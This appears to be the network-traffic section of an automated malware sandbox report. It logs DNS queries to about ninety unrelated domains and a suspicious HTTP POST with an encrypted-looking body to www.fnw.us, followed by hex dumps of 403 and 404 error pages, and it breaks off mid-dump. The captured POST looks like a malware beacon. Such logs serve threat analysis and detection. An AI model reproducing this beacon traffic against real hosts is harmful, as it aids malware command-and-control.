Source: global traffic	DNS traffic detected: DNS query: www.baijaku.com
Source: global traffic	DNS traffic detected: DNS query: www.dgmna.com
Source: global traffic	DNS traffic detected: DNS query: www.alteor.cl
Source: global traffic	DNS traffic detected: DNS query: www.valdal.com
Source: global traffic	DNS traffic detected: DNS query: www.mqs.com.br
Source: global traffic	DNS traffic detected: DNS query: www.item-pr.com
Source: global traffic	DNS traffic detected: DNS query: www.depalo.com
Source: global traffic	DNS traffic detected: DNS query: www.petsfan.com
Source: global traffic	DNS traffic detected: DNS query: www.elpro.si
Source: global traffic	DNS traffic detected: DNS query: www.rs-ag.com
Source: global traffic	DNS traffic detected: DNS query: www.nunomira.com
Source: global traffic	DNS traffic detected: DNS query: www.owsports.ca
Source: global traffic	DNS traffic detected: DNS query: www.abart.pl
Source: global traffic	DNS traffic detected: DNS query: www.credo.edu.pl
Source: global traffic	DNS traffic detected: DNS query: www.otena.com
Source: global traffic	DNS traffic detected: DNS query: www.tvtools.fi
Source: global traffic	DNS traffic detected: DNS query: www.vazir.se
Source: global traffic	DNS traffic detected: DNS query: www.evcpa.com
Source: global traffic	DNS traffic detected: DNS query: www.jroy.net
Source: global traffic	DNS traffic detected: DNS query: www.ora.ecnet.jp
Source: global traffic	DNS traffic detected: DNS query: www.nelipak.nl
Source: global traffic	DNS traffic detected: DNS query: www.vexcom.com
Source: global traffic	DNS traffic detected: DNS query: www.transsib.com
Source: global traffic	DNS traffic detected: DNS query: www.hummer.hu
Source: global traffic	DNS traffic detected: DNS query: www.abdg.com
Source: global traffic	DNS traffic detected: DNS query: www.iamdirt.com
Source: global traffic	DNS traffic detected: DNS query: www.xaicom.es
Source: global traffic	DNS traffic detected: DNS query: www.t-tre.com
Source: global traffic	DNS traffic detected: DNS query: www.sjbs.org
Source: global traffic	DNS traffic detected: DNS query: www.edimart.hu
Source: global traffic	DNS traffic detected: DNS query: www.wifi4all.nl
Source: global traffic	DNS traffic detected: DNS query: www.synetik.net
Source: global traffic	DNS traffic detected: DNS query: www.naoi-a.com
Source: global traffic	DNS traffic detected: DNS query: www.waldi.pl
Source: global traffic	DNS traffic detected: DNS query: www.gpthink.com
Source: global traffic	DNS traffic detected: DNS query: www.aevga.com
Source: global traffic	DNS traffic detected: DNS query: www.cokocoko.com
Source: global traffic	DNS traffic detected: DNS query: www.maktraxx.com
Source: global traffic	DNS traffic detected: DNS query: www.fcwcvt.org
Source: global traffic	DNS traffic detected: DNS query: www.yocinc.org
Source: global traffic	DNS traffic detected: DNS query: www.pcgrate.com
Source: global traffic	DNS traffic detected: DNS query: www.holleman.us
Source: global traffic	DNS traffic detected: DNS query: www.udesign.biz
Source: global traffic	DNS traffic detected: DNS query: www.jacomfg.com
Source: global traffic	DNS traffic detected: DNS query: www.snugpak.com
Source: global traffic	DNS traffic detected: DNS query: www.cel-cpa.com
Source: global traffic	DNS traffic detected: DNS query: www.vitaindu.com
Source: global traffic	DNS traffic detected: DNS query: www.kernsafe.com
Source: global traffic	DNS traffic detected: DNS query: www.fink.com
Source: global traffic	DNS traffic detected: DNS query: www.speelhal.net
Source: global traffic	DNS traffic detected: DNS query: www.stnic.co.uk
Source: global traffic	DNS traffic detected: DNS query: www.photo4b.com
Source: global traffic	DNS traffic detected: DNS query: www.jchysk.com
Source: global traffic	DNS traffic detected: DNS query: www.medius.si
Source: global traffic	DNS traffic detected: DNS query: www.fe-bauer.de
Source: global traffic	DNS traffic detected: DNS query: www.ex-olive.com
Source: global traffic	DNS traffic detected: DNS query: www.findbc.com
Source: global traffic	DNS traffic detected: DNS query: www.netcr.com
Source: global traffic	DNS traffic detected: DNS query: www.valselit.com
Source: global traffic	DNS traffic detected: DNS query: www.2print.com
Source: global traffic	DNS traffic detected: DNS query: www.c9dd.com
Source: global traffic	DNS traffic detected: DNS query: www.crcsi.org
Source: global traffic	DNS traffic detected: DNS query: www.nqks.com
Source: global traffic	DNS traffic detected: DNS query: www.ka-mo-me.com
Source: global traffic	DNS traffic detected: DNS query: www.lrsuk.com
Source: global traffic	DNS traffic detected: DNS query: www.koz1.net
Source: global traffic	DNS traffic detected: DNS query: www.domon.com
Source: global traffic	DNS traffic detected: DNS query: www.x0c.com
Source: global traffic	DNS traffic detected: DNS query: www.medisa.info
Source: global traffic	DNS traffic detected: DNS query: www.ora-ito.com
Source: global traffic	DNS traffic detected: DNS query: www.tyrns.com
Source: global traffic	DNS traffic detected: DNS query: www.dayvo.com
Source: global traffic	DNS traffic detected: DNS query: www.myropcb.com
Source: global traffic	DNS traffic detected: DNS query: www.com-sit.com
Source: global traffic	DNS traffic detected: DNS query: www.stajum.com
Source: global traffic	DNS traffic detected: DNS query: www.mobilnic.net
Source: global traffic	DNS traffic detected: DNS query: www.pupi.cz
Source: global traffic	DNS traffic detected: DNS query: www.usadig.com
Source: global traffic	DNS traffic detected: DNS query: www.yumgiskor.kz
Source: global traffic	DNS traffic detected: DNS query: www.pwd.org
Source: global traffic	DNS traffic detected: DNS query: www.spanesi.com
Source: global traffic	DNS traffic detected: DNS query: www.yoruksut.com
Source: global traffic	DNS traffic detected: DNS query: www.tc17.com
Source: global traffic	DNS traffic detected: DNS query: www.reglera.com
Source: global traffic	DNS traffic detected: DNS query: mail.airmail.net
Source: global traffic	DNS traffic detected: DNS query: www.wnsavoy.com
Source: global traffic	DNS traffic detected: DNS query: www.ottospm.com
Source: global traffic	DNS traffic detected: DNS query: www.fnsds.org
Source: global traffic	DNS traffic detected: DNS query: www.railbook.net
Source: global traffic	DNS traffic detected: DNS query: www.pohlfood.com
Source: global traffic	DNS traffic detected: DNS query: www.11tochi.net
Source: global traffic	DNS traffic detected: DNS query: www.pb-games.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Accept: */*Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fnw.usCache-Control: no-cacheData Raw: 32 78 65 32 6c 41 36 75 6a 76 58 78 51 77 4f 51 6d 56 35 6c 6a 58 45 61 48 76 34 4f 75 61 4b 45 49 69 39 32 51 67 64 77 77 68 69 4c 4a 50 74 2b 37 2b 38 65 61 6d 6a 51 4a 47 46 66 39 6d 4a 2b 4f 2f 6a 56 2b 6e 66 53 55 43 79 76 42 6b 47 78 71 71 31 2f 33 33 63 6b 6f 66 6d 61 6a 77 4d 69 7a 4c 38 59 52 43 52 48 45 48 32 4b 4d 41 6b 35 58 73 2f 53 5a 75 61 68 35 68 38 35 57 66 54 66 4f 56 6f 5a 56 61 33 6e 42 61 6a 6b 41 56 69 47 63 48 6c 4c 38 46 44 57 65 78 55 43 77 77 38 6a 42 58 54 64 74 42 44 4d 54 6f 75 42 6b 6e 69 51 6b 72 76 69 2f 30 46 36 51 55 35 7a 75 44 56 33 50 76 6e 71 35 75 78 30 69 6f 5a 33 2b 41 72 47 70 56 58 43 4a 7a 7a 4d 57 61 70 55 64 49 52 31 33 48 30 35 38 31 6f 2b 55 6e 4e 46 46 67 55 54 38 58 59 41 75 56 55 51 2b 47 75 42 4c 7a 58 61 6c 79 41 49 49 47 53 79 6c 31 41 68 64 6d 64 67 44 74 62 72 45 4f 44 31 5a 38 73 44 45 4d 5a 63 76 31 51 51 31 72 52 59 4a 42 49 72 55 62 42 6d 6d 32 72 53 71 45 6f 35 67 30 79 6e 35 70 6f 63 55 62 54 64 30 6a 35 56 35 45 6b 6f 53 48 54 73 6d 73 64 66 30 62 71 71 58 4a 66 46 64 67 67 7a 39 53 39 6e 69 37 4c 51 66 61 7a 32 74 61 78 2f 64 5a 37 42 49 4e 55 30 75 61 68 31 79 46 79 54 75 47 30 4c 32 38 76 6b 74 4c 2f 31 5a 64 48 74 6d 78 61 68 52 41 52 62 4d 63 62 6b 4f 58 56 69 47 43 6b 59 33 4d 7a 61 4f 7a 41 38 43 4c 39 57 42 66 52 79 63 55 78 77 75 79 32 61 2b 68 7a 6d 50 56 49 58 54 75 59 64 6c 2b 4e 64 4b 41 42 55 4b 2f 54 53 2b 62 43 75 2f 75 66 50 6c 42 43 70 76 46 4c 4e 7a 36 74 32 44 51 42 68 61 46 67 51 64 37 49 45 65 53 61 35 61 6a 42 72 4a 46 73 4f 4c 31 4e 51 45 49 6c 76 49 48 61 51 69 77 76 58 74 65 79 6d 56 36 6c 78 Data Ascii: 2xe2lA6ujvXxQwOQmV5ljXEaHv4OuaKEIi92QgdwwhiLJPt+7+8eamjQJGFf9mJ+O/jV+nfSUCyvBkGxqq1/33ckofmajwMizL8YRCRHEH2KMAk5Xs/SZuah5h85WfTfOVoZVa3nBajkAViGcHlL8FDWexUCww8jBXTdtBDMTouBkniQkrvi/0F6QU5zuDV3Pvnq5ux0ioZ3+ArGpVXCJzzMWapUdIR13H0581o+UnNFFgUT8XYAuVUQ+GuBLzXalyAIIGSyl1AhdmdgDtbrEOD1Z8sDEMZcv1QQ1rRYJBIrUbBmm2rSqEo5g0yn5pocUbTd0j5V5EkoSHTsmsdf0bqqXJfFdggz9S9ni7LQfaz2tax/dZ7BINU0uah1yFyTuG0L28vktL/1ZdHtmxahRARbMcbkOXViGCkY3MzaOzA8CL9WBfRycUxwuy2a+hzmPVIXTuYdl+NdKABUK/TS+bCu/ufPlBCpvFLNz6t2DQBhaFgQd7IEeSa5ajBrJFsOL1NQEIlvIHaQiwvXteymV6lx

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:17:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yv77OnLum2PS4GLWCxljaobloczizVu8qPfhyy1G5E1XdsxRX%2BZ7YBCSk9k7niCVCvuQz%2Fk2WGwVdkXzeVExynZozipiSouxube0T%2F7CnAwb6VVDFJ2WbKQgpIbx%2FO6e"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811d382c7f45f6-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nof
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:17:33 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:17:34 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:17:35 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: VDq1bcI7/Q4ImxXLLData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:36 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:36 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:17:37 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 